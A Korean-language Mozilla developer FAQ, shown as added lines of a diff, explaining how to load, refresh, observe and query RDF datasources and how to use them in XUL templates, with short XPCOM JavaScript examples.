+<p>데이터 소스를 <em>작성</em>하는 방법에 대한 자세한 사항은 <a href="ko/RDF_Datasource_How-To">RDF 데이터 소스 How-To</a> 문서를 참조하기 바랍니다.</p>
+<h3 id="Mozilla_.EB.8A.94_.EC.96.B4.EB.96.BB.EA.B2.8C_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EB.A5.BC_.EA.B4.80.EB.A6.AC.ED.95.98.EB.82.98.EC.9A.94.3F" name="Mozilla_.EB.8A.94_.EC.96.B4.EB.96.BB.EA.B2.8C_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EB.A5.BC_.EA.B4.80.EB.A6.AC.ED.95.98.EB.82.98.EC.9A.94.3F">Mozilla 는 어떻게 데이터 소스를 관리하나요?</h3>
+<p><a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFService.idl">RDF 서비스</a>는 로드된 모든 데이터 소스의 테이블을 관리합니다. 이 테이블은 데이터 소스의 "URI" -RDF/XML 파일의 URL 이거나 내장된 데이터 소스를 가리키는 <code>rdf:</code> 로 시작하는 "특별한" URI - 를 키로 사용합니다.</p>
+<p>데이터 소스는 RDF 서비스의 <code>GetDataSource()</code> 메소드를 통해 로드됩니다. URI 인수(argument)가 XML/RDF 파일의 URL 을 가리키는 경우에는 RDF 서비스는 <em>RDF/XML 데이터 소스</em> 를 생성하고 비동기적으로 이를 구문 분석(parse)합니다. 이 데이터 소스는 자신을 가리키는 마지막 참조가 해제(release)될 때까지 메모리 상에 "캐시"(cache) 됩니다.</p>
+<p>만약 URI 인수가 내장 데이터 소스를 가리키는 경우에는, RDF 서비스는 XPCOM <em>컴포넌트 관리자</em> 를 사용하여 "특별한" URI 와 잘 알려진(well-known) 접두어 @mozilla.org/rdf/datasource;1?name=&lt;/code&gt; 를 이용해 <em>ContractID</em> 를 생성한 컴포넌트를 로드합니다.</p>
+<p>예를 들어,</p>
+<pre class="eval">rdf:foo
+</pre>
+<p>인 경우에는 아래와 같은 컴포넌트가 로드됩니다:</p>
+<pre class="eval">@mozilla.org/rdf/datasource;1?name=foo
+</pre>
+<p>RDF/XML 데이터 소스와 마찬가지로 이러한 방식으로 생성된 데이터 소스도 RDF 서비스에 의해 마지막 참조가 해제될 때까지 메모리 상에 "캐시" 됩니다.</p>
+<h3 id="RDF.2FXML_.ED.8C.8C.EC.9D.BC.EC.97.90.EC.84.9C_.EC.96.B4.EB.96.BB.EA.B2.8C_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EB.A5.BC_.EC.83.9D.EC.84.B1.ED.95.98.EB.82.98.EC.9A.94.3F" name="RDF.2FXML_.ED.8C.8C.EC.9D.BC.EC.97.90.EC.84.9C_.EC.96.B4.EB.96.BB.EA.B2.8C_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EB.A5.BC_.EC.83.9D.EC.84.B1.ED.95.98.EB.82.98.EC.9A.94.3F">RDF/XML 파일에서 어떻게 데이터 소스를 생성하나요?</h3>
+<p><a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFService.idl">RDF 서비스</a>의 <code>GetDataSource()</code> 메소드를 사용하여 RDF/XML 데이터 소스를 생성할 수 있습니다:</p>
+<pre class="eval"><span class="highlightblue">// RDF 서비스를 얻습니다.</span>
+var RDF =
+  Components
+  .classes["@mozilla.org/rdf/rdf-service;1"]
+  .getService(Components.interfaces.nsIRDFService);
+<span class="highlightblue">// ...그리고 여기에서 데이터 소스를 얻습니다. 당신의 웹 브라우저가
+// 이 데이터 소스를 <b>text/xml</b> (추천) 혹은 <b>text/rdf</b>로 다루는지 확인하십시오!</span>
+var ds = RDF.GetDataSource("<a class="external" href="http://www.mozilla.org/some-rdf-file.rdf" rel="freelink">http://www.mozilla.org/some-rdf-file.rdf</a>");
+<span class="highlightblue">// <b>ds</b> 는 비동기적으로 로드되므로, 여기에 바로 assert 를 실행한다면
+// 올바르게 동작하지 않을 것 입니다.</span>
+</pre>
+<p>또다른 방법으로는, 아래와 같이 XPCOM 컴포넌트 관리자를 사용하여 직접 생성하는 방법이 있습니다:</p>
+<pre class="eval"><span class="highlightblue">// XPCOM 컴포넌트 관리자를 사용하여 RDF/XML 데이터 소스 생성하기</span>
+var ds =
+  Components
+  .classes["@mozilla.org/rdf/datasource;1?name=xml-datasource"]
+  .createInstance(Components.interfaces.nsIRDFDataSource);
+<span class="highlightblue">// <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFRemoteDataSource.idl">nsIRDFRemoteDataSource</a> 인터페이스는 데이터 소스를 설정하기 위한 인터페이스들을 가지고 있습니다.</span>
+var remote =
+   ds.QueryInterface(Components.interfaces.nsIRDFRemoteDataSource);
+<span class="highlightblue">// 당신의 웹 서버가 이것을 <b>text/xml</b> (추천) 혹은 <b>text/rdf</b>로 전송하는지 확인하십시오!</span>
+remote.Init("<a class="external" href="http://www.mozilla.org/some-rdf-file.rdf" rel="freelink">http://www.mozilla.org/some-rdf-file.rdf</a>");
+<span class="highlightblue">// 로드합니다! 이것은 비동기적으로 실행된다는 것을 명심하십시오.
+// <b>aBlocking</b> 인수를 true 로 설정하면, 동기적으로 실행되게 설정할 수 있습니다.
+// 하지만 이렇게 되면 UI 가 멈춰버리기 때문에 일반적으로는 좋지 않은 아이디어입니다!</span>
+remote.Refresh(false);
+<span class="highlightblue">//  <b>ds</b> 는 비동기적으로 로드되므로, 여기에 바로 assert 를 실행한다면
+// 올바르게 동작하지 않을 것 입니다.</span>
+</pre>
+<p>만약 당신이 RDF/XML 파일을 강제로 동기적으로 로드하고 싶다면 "직접"(manually) 생성할 필요가 있습니다.</p>
+<h3 id="RDF.2FXML_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EB.A5.BC_.EC.96.B4.EB.96.BB.EA.B2.8C_.EA.B0.B1.EC.8B.A0.28reload.29.ED.95.98.EB.82.98.EC.9A.94.3F" name="RDF.2FXML_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EB.A5.BC_.EC.96.B4.EB.96.BB.EA.B2.8C_.EA.B0.B1.EC.8B.A0.28reload.29.ED.95.98.EB.82.98.EC.9A.94.3F">RDF/XML 데이터 소스를 어떻게 갱신(reload)하나요?</h3>
+<p>RDF/XML 데이터 소스 (혹은 <a class="external" href="http://lxr.mozilla.org/mozilla/source/source/rdf/base/idl/nsIRDFRemoteDataSource.idl"><code>nsIRDFRemoteDataSource</code></a> 를 지원하는 어떠한 데이터 소스일지라도) 는 <code>nsIRDFRemoteDataSource</code> 의 <code>Refresh()</code> 메소드를 사용하여 강제로 갱신할 수 있습니다. <code>Refresh()</code> 메소드는 수행이 동기적("blocking)으로 이루어질지 비동기적("non-blocking")으로 이루어 질지를 나타내는 하나의 인수를 가집니다. 당신은 <em>정말로</em> 그렇게 해야만 할 필요가 없다면 <em>절대</em> 동기적인 수행을 선택하지 않아야 합니다: 동기적으로 수행하도록 한다면 로드가 끝날때까지 모든 UI 가 동작하지 않을 것입니다!</p>
+<h3 id="RDF.2FXML_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EA.B0.80_.EB.A1.9C.EB.93.9C.EB.90.98.EC.97.88.EB.8A.94.EC.A7.80_.EC.96.B4.EB.96.BB.EA.B2.8C_.EC.95.8C_.EC.88.98_.EC.9E.88.EB.82.98.EC.9A.94.3F" name="RDF.2FXML_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EA.B0.80_.EB.A1.9C.EB.93.9C.EB.90.98.EC.97.88.EB.8A.94.EC.A7.80_.EC.96.B4.EB.96.BB.EA.B2.8C_.EC.95.8C_.EC.88.98_.EC.9E.88.EB.82.98.EC.9A.94.3F">RDF/XML 데이터 소스가 로드되었는지 어떻게 알 수 있나요?</h3>
+<p><a class="external" href="http://lxr.mozilla.org/mozilla/source/source/rdf/base/idl/nsIRDFRemoteDataSource.idl"><code>nsIRDFRemoteDataSource</code></a> 인터페이스를 사용하면, <code>loaded</code> 속성의 값으로 데이터 소스가 로드되었는지 즉시 알아볼 수 있습니다:</p>
+<pre class="eval"><span class="highlightblue">// RDF 서비스를 얻습니다</span>
+var RDF =
+  Components
+  .classes["@mozilla.org/rdf/rdf-service;1"]
+  .getService(Components.interfaces.nsIRDFService);
+<span class="highlightblue">// 데이터 소스를 얻습니다..</span>
+var ds = RDF.GetDataSource("<a class="external" href="http://www.mozilla.org/some-rdf-file.rdf" rel="freelink">http://www.mozilla.org/some-rdf-file.rdf</a>");
+<span class="highlightblue">// 이제 로드되었는지 살펴봅니다..</span>
+var remote =
+  ds.QueryInterface(Components.interfaces.nsIRDFRemoteDataSource);
+
+if (remote.loaded) {
+  alert("the datasource was already loaded!");
+}
+else {
+  alert("the datasource wasn't loaded, but it's loading now!");
+}
+</pre>
+<p>만약 아직 데이터 소스가 로드되지 <em>않았다고</em> 가정합시다. (비동기적으로 로드됩니다). 위의 API 와 자바스크립트의 <code>setTimeout()</code> 함수를 사용하면, 주기적으로 <code>loaded</code> 속성을 체크하는 <em>폴링 루프</em> 를 만들 수 있을 것입니다. 하지만 여기는 문제가 있으며, 더 큰 문제는 로드가 <em>실패</em> 하는 경우를 인식하지 못한다는 것입니다! 예를 들어, 해당 URL 에 아무 데이터도 없는 경우에는 문제가 생길 것 입니다.</p>
+<p>이를 위해 데이터 소스의 상태를 감시하기 위한 <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFXMLSink.idl">감시자(observer) 인터페이스</a> 라는 것이 있습니다. 아래의 코드는 감시자 인터페이스의 사용법을 보여줍니다:</p>
+<pre class="eval"><span class="highlightblue">// RDF/XML 데이터 소스의 로드 과정을 감시할 객체입니다.</span>
+var Observer = {
+  onBeginLoad: function(aSink)
+    {},
+
+  onInterrupt: function(aSink)
+    {},
+
+  onResume: function(aSink)
+    {},
+
+  onEndLoad: function(aSink)
+    { alert("done!"); },
+
+  onError: function(aSink, aStatus, aErrorMsg)
+    { alert("error! " + aErrorMsg); }
+};
+<span class="highlightblue">// RDF 서비스를 얻습니다.</span>
+var RDF =
+  Components
+  .classes["@mozilla.org/rdf/rdf-service;1"]
+  .getService(Components.interfaces.nsIRDFService);
+<span class="highlightblue">// 데이터 소스를 얻습니다.</span>
+var ds = RDF.GetDataSource("<a class="external" href="http://www.mozilla.org/some-rdf-file.rdf" rel="freelink">http://www.mozilla.org/some-rdf-file.rdf</a>");
+<span class="highlightblue">// 이제 로드되었는지 살펴봅니다..</span>
+var remote =
+  ds.QueryInterface(Components.interfaces.nsIRDFRemoteDataSource);
+
+if (remote.loaded) {
+  alert("the datasource was already loaded!");
+}
+else {
+  alert("the datasource wasn't loaded, but it's loading now!");
+  <span class="highlightblue">// RDF/XML 데이터 소스는 모두 <b>nsIRDFXMLSink</b> 입니다 (Is-a).</span>
+  var sink =
+    ds.QueryInterface(Components.interfaces.nsIRDFXMLSink);
+  <span class="highlightblue">// 데이터 소스(= 싱크)에 감시자 인터페이스를 지정합니다.</span>
+  sink.addXMLSinkObserver(Observer);
+  <span class="highlightblue">// 이제 데이터 소스의 로드 상태에 따라
+  // <b>감시자</b>의 메소드들이 호출(call-back)됩니다.</span>
+}
+</pre>
+<p>감시자 객체는 <code>removeXMLSinkObserver</code> 메소드가 호출되기 전까지는 계속 RDF/XML 데이터 소스와 연결(attach)되어 있을 것입니다.</p>
+<h3 id=".EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4_.EB.82.B4.EC.9D.98_.EC.A0.95.EB.B3.B4.EB.8A.94_.EC.96.B4.EB.96.BB.EA.B2.8C_.EC.A0.91.EA.B7.BC.ED.95.A0_.EC.88.98_.EC.9E.88.EB.82.98.EC.9A.94.3F" name=".EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4_.EB.82.B4.EC.9D.98_.EC.A0.95.EB.B3.B4.EB.8A.94_.EC.96.B4.EB.96.BB.EA.B2.8C_.EC.A0.91.EA.B7.BC.ED.95.A0_.EC.88.98_.EC.9E.88.EB.82.98.EC.9A.94.3F">데이터 소스 내의 정보는 어떻게 접근할 수 있나요?</h3>
+<p><a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFDataSource.idl"><code>nsIRDFDataSource</code></a> 인터페이스는 데이터 소스 내의 정보에 접근하거나 검사할 수 있는 방법을 제공합니다.</p>
+<ul>
+  <li><code>boolean HasAssertion(aSource, aProperty, aTarget, aTruthValue)</code>.<br>
+    이 메소드는 데이터 소스 내에 명시된 튜플이 존재하는지 검사합니다.</li>
+  <li><code>nsIRDFNode GetTarget(aSource, aProperty, aTruthValue)</code>.</li>
+  <li><code>nsISimpleEnumerator GetTargets(aSource, aProperty, aTruthValue)</code>.</li>
+  <li><code>nsIRDFResource GetSource(aProperty, aTarget, aTruthValue)</code>.</li>
+  <li><code>nsISimpleEnumerator GetSoruces(aProperty, aTarget, aTruthValue)</code>.</li>
+  <li><code>nsISimpleEnumerator ArcLabelsIn(aTarget)</code>.</li>
+  <li><code>nsISimpleEnumerator ArcLabelsOut(aSource)</code>.</li>
+</ul>
+<p>RDF <em>컨테이너</em> 내에 포함된 정보에 접근하기 위해서는 <a href="#How_do_I_manipulate_RDF_.22containers.22.3F">RDF 컨테이너</a> 인터페이스를 사용할 수 있습니다.</p>
+<h3 id=".EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4_.EB.82.B4.EC.9D.98_.EC.A0.95.EB.B3.B4.EB.A5.BC_.EC.96.B4.EB.96.BB.EA.B2.8C_.EB.B3.80.EA.B2.BD.ED.95.98.EB.82.98.EC.9A.94.3F" name=".EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4_.EB.82.B4.EC.9D.98_.EC.A0.95.EB.B3.B4.EB.A5.BC_.EC.96.B4.EB.96.BB.EA.B2.8C_.EB.B3.80.EA.B2.BD.ED.95.98.EB.82.98.EC.9A.94.3F">데이터 소스 내의 정보를 어떻게 변경하나요?</h3>
+<h3 id=".EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EC.9D.98_.EB.B3.80.EA.B2.BD_.EC.82.AC.ED.95.AD.EC.9D.84_RDF.2FXML_.EC.9E.90.EC.9B.90.EC.97.90_.EB.8B.A4.EC.8B.9C_.EC.A0.80.EC.9E.A5.ED.95.98.EB.A0.A4.EB.A9.B4_.EC.96.B4.EB.96.BB.EA.B2.8C_.ED.95.98.EC.A3.A0.3F" name=".EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EC.9D.98_.EB.B3.80.EA.B2.BD_.EC.82.AC.ED.95.AD.EC.9D.84_RDF.2FXML_.EC.9E.90.EC.9B.90.EC.97.90_.EB.8B.A4.EC.8B.9C_.EC.A0.80.EC.9E.A5.ED.95.98.EB.A0.A4.EB.A9.B4_.EC.96.B4.EB.96.BB.EA.B2.8C_.ED.95.98.EC.A3.A0.3F">데이터 소스의 변경 사항을 RDF/XML 자원에 다시 저장하려면 어떻게 하죠?</h3>
+<p>RDF/XML 데이터 소스는 <code>QueryInterface()</code> 메소드를 통해 <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFRemoteDataSource.idl"><code>nsIRDFRemoteDataSource</code></a> 인터페이스를 얻을 수 있습니다. 이 인터페이스는 <code>Flush()</code> 메소드를 가지고 있는데, 이 메소드는 데이터 소스가 로드될 때 사용된 URL 이 가리키는 데이터 소스에 변경 사항을 다시 기록하려고 시도할 것입니다. 이것은 사용된 프로토콜에 따라 각기 다른 메커니즘을 사용합니다. (즉, <code>file:</code> 로 시작하는 URL 이라면 그저 파일에 기록하고, <code>http:</code> 로 시작하는 URL 이라면 HTTP-POST 요청을 보낼 것입니다.) <code>Flush()</code> 메소드는 오직 데이터 소스의 내용이 변경된 경우에만 기록합니다.</p>
+<h3 id=".EC.97.AC.EB.9F.AC_.EA.B0.9C.EC.9D.98_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EB.A5.BC_.ED.95.98.EB.82.98.EB.A1.9C_.ED.95.A9.EC.B3.90.EC.84.9C_.EB.B3.B4.EB.A0.A4.EB.A9.B4_.EC.96.B4.EB.96.BB.EA.B2.8C_.ED.95.B4.EC.95.BC_.ED.95.98.EB.82.98.EC.9A.94.3F" name=".EC.97.AC.EB.9F.AC_.EA.B0.9C.EC.9D.98_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EB.A5.BC_.ED.95.98.EB.82.98.EB.A1.9C_.ED.95.A9.EC.B3.90.EC.84.9C_.EB.B3.B4.EB.A0.A4.EB.A9.B4_.EC.96.B4.EB.96.BB.EA.B2.8C_.ED.95.B4.EC.95.BC_.ED.95.98.EB.82.98.EC.9A.94.3F">여러 개의 데이터 소스를 하나로 합쳐서 보려면 어떻게 해야 하나요?</h3>
+<h3 id=".EB.82.B4.EC.9E.A5.28built-in.29_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EC.97.90_.EC.A0.91.EA.B7.BC.ED.95.98.EB.A0.A4.EB.A9.B4_.EC.96.B4.EB.96.BB.EA.B2.8C_.ED.95.98.EB.82.98.EC.9A.94.3F" name=".EB.82.B4.EC.9E.A5.28built-in.29_.EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EC.97.90_.EC.A0.91.EA.B7.BC.ED.95.98.EB.A0.A4.EB.A9.B4_.EC.96.B4.EB.96.BB.EA.B2.8C_.ED.95.98.EB.82.98.EC.9A.94.3F">내장(built-in) 데이터 소스에 접근하려면 어떻게 하나요?</h3>
+<p><em>내장 데이터 소스</em> 은 <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFDataSource.idl">nsIRDFDataSource</a> 인터페이스를 구현한 로컬에 인스톨 된 컴포넌트를 말합니다. 예를 들면 <a class="external" href="http://lxr.mozilla.org/mozilla/source/xpfe/components/bookmarks/src/nsBookmarksService.cpp">북마크 서비스</a>와 같은 것이 있습니다. 먼저, <a href="#What_is_the_security_model_for_RDF.2FXML_in_XUL.3F">여기</a>를 보고 당신이 내장 데이터 소스에 접근하도록 <em>허용</em> 되었는지를 체크해 보십시오. "인증되지 않은"(untrusted) XUL 와 JS 로 부터 내장 데이터 소스에 접근에 접근하는 것을 차단하는 여러가지 보안 사항이 있습니다.</p>
+<p>내장 데이터 소스는 단지 XPCOM 컴포넌트 이기 때문에, 당신은 XPConnect 컴포넌트 관리자를 사용하여 직접 객체를 생성(instantiate)할 수 있습니다.</p>
+<pre class="eval">// 북마크 서비스를 얻기 위해 컴포넌트 관리자를 사용합니다.
+<span class="highlightgreen">var bookmarks =
+  Components.
+  classes["@mozilla.org/rdf/datasource;1?name=bookmarks"].
+  getService(Components.interfaces.nsIRDFDataSource);</span>
+
+// 이제 관련된 작업을 수행합니다..
+if (bookmarks.HasAssertion(
+     RDF.GetResource("<a class="external" href="http://home.netscape.com/NC-rdf#BookmarksRoot" rel="freelink">http://home.netscape.com/NC-rdf#BookmarksRoot</a>"),
+     RDF.GetResource("<a class="external" href="http://home.netscape.com/NC-rdf#child" rel="freelink">http://home.netscape.com/NC-rdf#child</a>"),
+     RDF.GetResource("<a class="external" href="http://home.netscape.com/NC-rdf#PersonalToolbarFolder" rel="freelink">http://home.netscape.com/NC-rdf#PersonalToolbarFolder</a>"),
+     true) {
+  // ...
+}
+</pre>
+<p>또다른 방법으로는, 특정 데이터 소스는 "특별한" RDF 와 관련된 ContractID 를 가지므로 <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFService.idl"><code>nsIRDFSerivce</code></a> 의 <code>GetDataSource()</code> 메소드를 이용하거나 XUL 템플릿의 <code>datasources</code> 속성을 이용하여 손쉽게 데이터 소스 객체를 생성할 수 있습니다. 이러한 ContractID 는 다음과 같은 형식으로 표현됩니다:</p>
+<pre class="eval">@mozilla.org/rdf/datasource;1?name=<i>name</i>
+</pre>
+<p>ContractID 는 <code>GetDataSource()</code> 메소드나 <code>rdf:<i>name</i></code> 형식의 약어를 사용하여 <code>datasources</code> 속성에 접근할 수 있습니다. 예를 들어, 다음의 XUL 코드는 XUL 템플릿에 북마크 서비스를 데이터 소스로 추가하는 방법을 보여 줍니다.</p>
+<pre class="eval">&lt;tree datasources="rdf:bookmarks"&gt;
+  ...
+&lt;/tree&gt;
+</pre>
+<h3 id="RDF_.22.EC.BB.A8.ED.85.8C.EC.9D.B4.EB.84.88.22.EB.A5.BC_.EC.96.B4.EB.96.BB.EA.B2.8C_.EC.82.AC.EC.9A.A9.ED.95.98.EB.82.98.EC.9A.94.3F" name="RDF_.22.EC.BB.A8.ED.85.8C.EC.9D.B4.EB.84.88.22.EB.A5.BC_.EC.96.B4.EB.96.BB.EA.B2.8C_.EC.82.AC.EC.9A.A9.ED.95.98.EB.82.98.EC.9A.94.3F">RDF "컨테이너"를 어떻게 사용하나요?</h3>
+<p>RDF "컨테이너"(예를 들어, <code>&lt;rdf:Seq&gt;</code>)를 사용하기 위해서는 아래의 ContractID 를 이용하여 <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFContainerUtils.idl"><code>nsIRDFContainerUtils</code></a> 객체를 서비스로 생성해야 합니다:</p>
+<pre class="eval">@mozilla.org/rdf/container-utils;1
+</pre>
+<p>이 서비스를 이용하면, <code>IsSeq()</code>, <code>IsBag()</code>, <code>IsAlt()</code> 등의 메소드를 사용하여 특정 객체가 RDF 컨테이너인지 검사할 수 있습니다. 특정 자원이 RDF 컨테이너가 아니라면 <code>MakeSeq()</code>, <code>MakeBag()</code>, <code>MakeAlt()</code> 등의 메소드를 사용하여 해당 자원을 RDF 컨테이너로 만들 수 있습니다. 이 메소드들은 이미 작성된 컨테이너용 연산들을 가지고 있는 <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFContainer.idl"><code>nsIRDFContainer</code></a> 객체를 반환합니다.</p>
+<p>또다른 방법으로는, 당신이 사용하는 데이터 소스가 이미 RDF 컨테이너 객체를 가지고 있는 경우, 다음의 ContractID 를 통해 <code>nsIRDFContainer</code> 객체를 생성할 수 있습니다:</p>
+<pre class="eval">@mozilla.org/rdf/container;1
+</pre>
+<p>그리고 데이터 소스를 인수로 <code>Init()</code> 메소드를 호출해야 합니다. 이 메소드는 해당 자원이 컨테이너 객체가 아닌 경우에는 실패할 수 있다는 것을 주의하십시오.</p>
+<h2 id="XUL_.ED.85.9C.ED.94.8C.EB.A6.BF" name="XUL_.ED.85.9C.ED.94.8C.EB.A6.BF">XUL 템플릿</h2>
+<p>XUL 문서의 원소(element) 상에 <code>datsources</code> 속성을 지정함으로써 XUL 템플릿을 생성할 수 있습니다.</p>
+<p>XUL 템플릿은 두가지 형식("form")으로 작성할 수 있습니다. 첫번째는 단순 형식("simple form")으로 현재 Mozilla 코드베이스 상에서 가장 일반적으로 쓰이는 형식입니다. 또 하나는 확장 형식("extended form")으로 RDF 그래프에 대해 복잡한 패턴 매칭을 수행할 수 있습니다. <a href="ko/XUL/Template_Guide">XUL:템플릿 가이드</a> 문서를 참조하십시오. (이 문서는 <em>궁극적으로</em> 확장 형식의 템플릿을 설명하려는 목적으로 작성되었기 때문에 매우 복잡하게 구성되어 있습니다. -- 따라서 많은 정보를 표현하기 위해 복잡하게 보일지라도 개념적으로는 더 이해하기 쉬운 방법으로 구성하였습니다 -- 그리고 단순 형식은 확장 형식을 단축해서 사용하는 형태로 설명합니다.)</p>
+<h3 id="XUL_.ED.85.9C.ED.94.8C.EB.A6.BF.EC.9D.84_.EC.82.AC.EC.9A.A9.ED.95.B4.EC.84.9C_.EB.AC.B4.EC.97.87.EC.9D.84_.EB.B9.8C.EB.93.9C.ED.95.A0_.EC.88.98_.EC.9E.88.EB.82.98.EC.9A.94.3F" name="XUL_.ED.85.9C.ED.94.8C.EB.A6.BF.EC.9D.84_.EC.82.AC.EC.9A.A9.ED.95.B4.EC.84.9C_.EB.AC.B4.EC.97.87.EC.9D.84_.EB.B9.8C.EB.93.9C.ED.95.A0_.EC.88.98_.EC.9E.88.EB.82.98.EC.9A.94.3F">XUL 템플릿을 사용해서 무엇을 빌드할 수 있나요?</h3>
+<p>당신은 XUL 템플릿을 사용해서 <em>어떠한</em> 종류의 컨텐츠도 빌드할 수 있습니다. 이를 위해 <code>&lt;rule&gt;</code> 내의 <code>&lt;action&gt;</code> 에 속한 태그(HTML 태그나 임의의 XML 태그도 가능)들을 사용할 수 있습니다.</p>
+<h3 id=".EC.96.B8.EC.A0.9C_XUL_.ED.85.9C.ED.94.8C.EB.A6.BF.EC.9D.84_.EC.82.AC.EC.9A.A9.ED.95.B4.EC.95.BC_.ED.95.98.EB.82.98.EC.9A.94.3F" name=".EC.96.B8.EC.A0.9C_XUL_.ED.85.9C.ED.94.8C.EB.A6.BF.EC.9D.84_.EC.82.AC.EC.9A.A9.ED.95.B4.EC.95.BC_.ED.95.98.EB.82.98.EC.9A.94.3F">언제 XUL 템플릿을 사용해야 하나요?</h3>
+<p>RDF 와 XUL 템플릿을 사용하는 또다른 방법으로는 <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/">W3C DOM API</a> 를 이용하여 XUL (혹은 HTML) 컨텐츠 모델을 구성하고 조작하는 방법이 있습니다. 하지만 그렇게 하는 것은 불편할 때가 많습니다:</p>
+<ol>
+  <li><em>데이터에 대한 "뷰"가 여러 개인 경우</em>. 예를 들면, Mozilla mail/news 는 툴바나, 여러 메뉴 내의 "폴더 팬(pane)", 혹은 몇몇 다이얼로그 창에서 폴더 구조를 표시합니다. 이 경우 이러한 <code>&lt;메뉴 버튼&gt;</code>, <code>&lt;메뉴&gt;</code>, <code>&lt;트리&gt;</code> 컨텐츠 모델을 위한 DOM 트리를 JS (혹은 C++) 로 작성하는 것 보다, 각 컨텐츠 모델을 위한 (세가지의) 간략한 룰셋으로 작성할 수 있습니다.</li>
+  <li><em>데이터가 변화하는 경우</em>. 예를 들어 메일이나 뉴스의 사용자는 IMAP 폴더를 추가하거나 삭제할 수 있습니다. (이로 인해 컨텐츠 모델을 작성하는 작업은 매우 복잡해 집니다!) XUL 템플릿 빌더는 룰을 사용하여 사용자에 의한 <em>모든</em> 컨텐츠 모델들의 변화를 자동적으로 유지합니다.</li>
+</ol>
+<p>이 기능을 사용하기 위해서는 당신이 필요로 하는 모든 정보는 <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFDataSource.idl">RDF 데이터 소스 API</a> 를 이용하여 표현되거나, 내장 <em>메모리 데이터 소스</em>를 사용하거나, RDF/XML 을 사용하여 저장하거나, <code>nsIRDFDataSource</code> 를 (아마도 JavaScript 를 이용하여) 직접 구현하여야 합니다.</p>
+<h3 id=".22datasources.3D.22_.EC.9D.B4.EB.9D.BC.EA.B3.A0_.EB.AA.85.EC.8B.9C.ED.95.9C_.EA.B2.BD.EC.9A.B0.EC.97.90.EB.8A.94_.EB.AC.B4.EC.97.87.EC.9D.B4_.EB.A1.9C.EB.93.9C.EB.90.98.EB.82.98.EC.9A.94.3F" name=".22datasources.3D.22_.EC.9D.B4.EB.9D.BC.EA.B3.A0_.EB.AA.85.EC.8B.9C.ED.95.9C_.EA.B2.BD.EC.9A.B0.EC.97.90.EB.8A.94_.EB.AC.B4.EC.97.87.EC.9D.B4_.EB.A1.9C.EB.93.9C.EB.90.98.EB.82.98.EC.9A.94.3F">"datasources=" 이라고 명시한 경우에는 무엇이 로드되나요?</h3>
+<p>템플릿의 "루트" 원소의 <code>datasources</code> 속성은 로드할 (공백 문자로 구분된) <em>데이터 소스 URI</em> 들의 목록을 나타냅니다. 여기서 "데이터 소스 URI" 라는 것은 다음의 둘 중 하나가 됩니다:</p>
+<ul>
+  <li>로컬에 설치된 컴포넌트를 가리키는 축약형 ContractID. 단지<code>rdf:<i>name</i></code> 라고 명시한다면, 템플릿 로더는 <code>@mozilla.org/rdf/datasource;1?name=<i>name</i></code> 라는 ContractID 를 이용하여 XPCOM 컴포넌트를 로드하게 됩니다.</li>
+  <li>RDF/XML 파일의 URL. 예를 들면 아래와 같은 것들이 있습니다.
+    <pre>file:///tmp/foo.rdf
+chrome://mycomponent/content/component-data.rdf
+http://www.mysite.com/generate-rdf.cgi
+ftp://ftp.somewhere.org/toc.rdf
+</pre>
+    <p>로드 작업은 <em>비동기적으로</em> 수행되며, 템플릿 빌더는 RDF/XML 파일을 받는 즉시 컨텐츠를 생성합니다.</p>
+  </li>
+</ul>
+<p>두 경우 모두, 데이터 소스는 <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFService.idl"><code>nsIRDFService</code></a> 의 <code>GetDataSource()</code> 메소드를 사용하여 로드되며, 이들은 같은 방법으로 로드된 다른 데이터 소스와 마찬가지로 <a href="#How_does_Mozilla_manage_datasources.3F">관리</a>됩니다.</p>
